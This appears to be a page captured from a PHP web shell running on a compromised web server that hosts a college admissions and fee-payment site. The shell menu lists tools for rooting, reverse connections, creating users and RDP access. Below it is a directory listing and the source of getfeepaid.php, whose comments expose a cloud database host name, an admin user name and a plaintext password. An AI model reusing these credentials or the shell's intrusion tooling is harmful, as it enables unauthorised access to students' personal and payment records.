Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.218.94.236
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
bnu /
[ HOME SHELL ]
Name
Size
Permission
Action
admupload
[ DIR ]
drwxrwsrwx
backup
[ DIR ]
drwxrwxrwx
docs
[ DIR ]
drwxr-sr-x
halltickets
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxr-sr-x
img
[ DIR ]
drwxr-sr-x
imported_files
[ DIR ]
drwxrwsrwx
misc_files
[ DIR ]
drwxrwxrwx
notifications
[ DIR ]
drwxrwxrwx
student_photos
[ DIR ]
drwxrwsrwx
study_material
[ DIR ]
drwxrwsrwx
teacher_photos
[ DIR ]
drwxrwsrwx
timetable
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwsrwx
MainPage.html
21.65
KB
-rwxr-xr-x
collegeInfoPopup.html
4.35
KB
-rwxr-xr-x
docverify.php
818
B
-rw-rw-r--
flash.html
2.23
KB
-rwxr-xr-x
forgotpassword.html
3.38
KB
-rwxr-xr-x
getAppdet.php
8
KB
-rw-rw-r--
getfeepaid.php
9.24
KB
-rw-r--r--
homepage.html
3.35
KB
-rwxr-xr-x
index.php
5.09
KB
-rwxr-xr-x
index_stop.html
6.23
KB
-rwxr-xr-x
indexlogin.html
6.2
KB
-rwxr-xr-x
pgadm.php
13.81
KB
-rw-rw-r--
pgadmfeepaid.php
15.32
KB
-rw-r--r--
timetable.php
2.86
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : getfeepaid.php
<?php // $servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com"; // $username = "admin"; // $password = "Logisys2104"; include("/var/www/config.php"); $servername = SERVERNAME; $username = USERNAME; $password = PASSWORD; $conn = new mysqli($servername, $username, $password); if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } $db = "logisys3_bnu"; $summary = "select count(ea.fappno) as totalpaid,count(en.fallotcoll) as totalseatallot,ed.fdegree,ed.fdescpn,ec.fcollcode,ec.fcollname from {$db}.entcandlist_new en inner join {$db}.entdeg ed on en.fdegree = ed.fdegree inner join {$db}.entcoll ec on ec.fcollcode = en.fallotcoll left join {$db}.entseatallot ea on ea.fappno = en.fappno and ea.fdegree = en.fdegree and ea.fcollcode = en.fallotcoll and ea.fpaymentstatus = 'success'"; $result2 = mysqli_query($conn, $summary); $r = mysqli_fetch_assoc($result2); // var_dump($result2); // die(); // $i = 0; // while ($rowsum = mysqli_fetch_assoc($result2)) { // $sum[$i] = $rowsum; // $i++; // } $Query = "select count(ea.fappno) as totalpaid,count(en.fallotcoll) as totalseatallot,ed.fdegree,ed.fdescpn from {$db}.entcandlist_new en inner join {$db}.entdeg ed on en.fdegree = ed.fdegree inner join {$db}.entcoll ec on ec.fcollcode = en.fallotcoll left join {$db}.entseatallot ea on ea.fappno = en.fappno and ea.fdegree = en.fdegree and ea.fcollcode = en.fallotcoll and ea.fpaymentstatus = 'success' group by en.fdegree"; $result = mysqli_query($conn, $Query); // var_dump($result); // die(); $i = 0; while ($row = mysqli_fetch_assoc($result)) { $roww[$i] = $row; $i++; } $query1 = "select count(ea.fappno) as totalpaid,count(en.fallotcoll) as totalseatallot,ed.fdegree,ed.fdescpn,ec.fcollcode,ec.fcollname from {$db}.entcandlist_new en inner join {$db}.entdeg ed on en.fdegree = ed.fdegree inner join {$db}.entcoll ec on ec.fcollcode = en.fallotcoll left join {$db}.entseatallot ea on ea.fappno = en.fappno and ea.fdegree = en.fdegree and ea.fcollcode = en.fallotcoll and ea.fpaymentstatus = 'success' group by en.fdegree,en.fallotcoll"; $result1 = mysqli_query($conn, $query1); // var_dump($result); // die(); $i = 0; while ($row1 = mysqli_fetch_assoc($result1)) { $row2[$i] = $row1; $i++; } $arr['tab1'] = $roww; $arr['tab2'] = $row2; $arr['sum'] = $r; // var_dump($arr); // die(); echo json_encode($arr); // $i = 1; // $html = "<tr class='bg-green'> // <th width='4%'><center>Sl. No.</center></th> // <th width='8%'><center>Degree</center></th> // <th width='8%'><center>Payment Made</center></th> // <th width='48%'><center>Payment Not Made</center></th> // <th width='8%'><center>Total Application</center></th>"; // // $pay_made = 0; // // $pay_not_made = 0; // // $tot_app = 0; // $html .= "</tr>"; // echo $html; // die(); // while ($row = mysqli_fetch_assoc($result)) { // $row1[$i] = $row; // $pay_made = $pay_made + $row1['paid']; // $pay_not_made = $pay_not_made + $row1['not_paid']; // $tot_app = $tot_app + $row1['tot_app']; // // var_dump($tot_app); // // die(); // $html .= "<tr> // <td><center>{$i}</center></td> // <td><center>{$row1['fdegree']}</center></td> // <td style='text-align:center'>$row1['paid']</td> // <td style='text-align:center'>$row1['not_paid']</td> // <td style='text-align:center'>$row1['tot_app']</td>"; // $html .= "</tr>"; // $i++; // } // $html .= "<tr> // <td colspan='4' style='text-align:center'><b>Total</b></td> // <td style='text-align:center'><b>$pay_made<b></td> // <td style='text-align:center'><b>$pay_not_made<b></td> // <td style='text-align:center'><b>$tot_app<b></td>"; // $html .= "</tr>"; // echo $html; // if ($type != 'board') // $fboard = $_POST['fboard']; // if ($type == 'board') { // $Query = "select distinct m.fboardcode, m.fboardname FROM {$db}.masboard m // inner join {$db}.masqp q on // q.fboard = m.fboardcode // where fdeggrp = '{$fdeggrp}' and fcodecount>0 order by m.fboardcode"; // $result = mysqli_query($conn, $Query); // $i = 0; // while ($row = mysqli_fetch_assoc($result)) { // $row1[$i] = $row; // $i++; // } // echo json_encode($row1); // return; // } else { // $sem = $_POST['sem']; // $status = $_POST['status']; // if ($sem == "") { // $cnd = ""; // } else { // $cnd = " and fexamno = '{$sem}'"; // } // if ($status == "") { // $cnd2 = ""; // } else if ($status == "Completed") { // $cnd2 = "and (ifnull(ftotpkt1,0) - ifnull(fvalpkt1,0)) = 0"; // } else if ($status == "Pending") { // $cnd2 = "and (ifnull(ftotpkt1,0) - ifnull(fvalpkt1,0)) <> 0"; // } // $Query = "select fboard,fqpcode, fsubname, ifnull(fspresent,0) as fspresent, // ifnull(fapresent,0) as fapresent, ifnull(fcodecount,0) as fcodecount, // ifnull(ftotpkt1,0) as ftotpkt1, ifnull(fvalpkt1,0) as fvalpkt1, // ifnull(ftotpkt2,0) as ftotpkt2, ifnull(fvalpkt2,0) as fvalpkt2 // from {$db}.masqp where fcodecount>0 and fboard like '{$fboard}' and fdeggrp = '{$fdeggrp}' {$cnd} {$cnd2} order by fboard,fqpcode"; // $result = mysqli_query($conn, $Query); // $i = 1; // $html = "<tr class='bg-green'> // <th width='4%'><center>Sl. No.</center></th> // <th width='8%'><center>Board</center></th> // <th width='8%'><center>Qp. Code</center></th> // <th width='48%'><center>Subject Name</center></th> // <th width='8%'><center>Coded Scripts</center></th> // <th width='8%'><center>Total Packets</center></th> // <th width='8%'><center>Valued Packets</center></th> // <th width='8%'><center>Pending Packets</center></th>"; // $totspresent = 0; // $totapresent = 0; // $totcodecount = 0; // $pencodepend = 0; // $totpkt1 = 0; // $totvalpkt1 = 0; // $totvalpend1 = 0; // $tottotpkt2 = 0; // $totvalpkt2 = 0; // $totvalpend2 = 0; // $html .= "</tr>"; // while ($row = mysqli_fetch_assoc($result)) { // $codepend = $row['fapresent'] - $row['fcodecount']; // $valpend1 = $row['ftotpkt1'] - $row['fvalpkt1']; // $valpend2 = $row['ftotpkt2'] - $row['fvalpkt2']; // if ($codepend < 0) // $codepend = 0; // if ($valpend1 < 0) // $valpend1 = 0; // if ($valpend2 < 0) // $valpend2 = 0; // $totspresent = $totspresent + $row['fspresent']; // $totapresent = $totapresent + $row['fapresent']; // $totcodecount = $totcodecount + $row['fcodecount']; // $pencodepend = $pencodepend + $codepend; // $totpkt1 = $totpkt1 + $row['ftotpkt1']; // $totvalpkt1 = $totvalpkt1 + $row['fvalpkt1']; // $totvalpend1 = $totvalpend1 + $valpend1; // $tottotpkt2 = $tottotpkt2 + $row['ftotpkt2']; // $totvalpkt2 = $totvalpkt2 + $row['fvalpkt2']; // $totvalpend2 = $totvalpend2 + $valpend2; // $html .= "<tr> // <td><center>{$i}</center></td> // <td><center>{$row['fboard']}</center></td> // <td><center>{$row['fqpcode']}</center></td> // <td>{$row['fsubname']}</td> // <td style='text-align:center'>" . moneyFormatIndia($row['fcodecount']) . "</td> // <td style='text-align:center'>" . moneyFormatIndia($row['ftotpkt1']) . "</td> // <td style='text-align:center'>" . moneyFormatIndia($row['fvalpkt1']) . "</td> // <td style='text-align:center'>" . moneyFormatIndia($valpend1) . "</td>"; // $html .= "</tr>"; // $i++; // } // $html .= "<tr> // <td colspan='4' style='text-align:center'><b>Total</b></td> // <td style='text-align:center'><b>" . moneyFormatIndia($totcodecount) . "</td> // <td style='text-align:center'><b>" . moneyFormatIndia($totpkt1) . "<b></td> // <td style='text-align:center'><b>" . moneyFormatIndia($totvalpkt1) . "<b></td> // <td style='text-align:center'><b>" . moneyFormatIndia($totvalpend1) . "<b></td>"; // $html .= "</tr>"; // echo $html; // } // function moneyFormatIndia($num) // { // $explrestunits = ""; // if (strlen($num) > 3) { // $lastthree = substr($num, strlen($num) - 3, strlen($num)); // $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits // $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping. // $expunit = str_split($restunits, 2); // for ($i = 0; $i < sizeof($expunit); $i++) { // // creates each of the 2's group and adds a comma to the end // if ($i == 0) { // $explrestunits .= (int)$expunit[$i] . ","; // if is first value , convert into integer // } else { // $explrestunits .= $expunit[$i] . ","; // } // } // $thecash = $explrestunits . $lastthree; // } else { // $thecash = $num; // } // return $thecash; // writes the final format where $currency is the currency symbol. // }
Close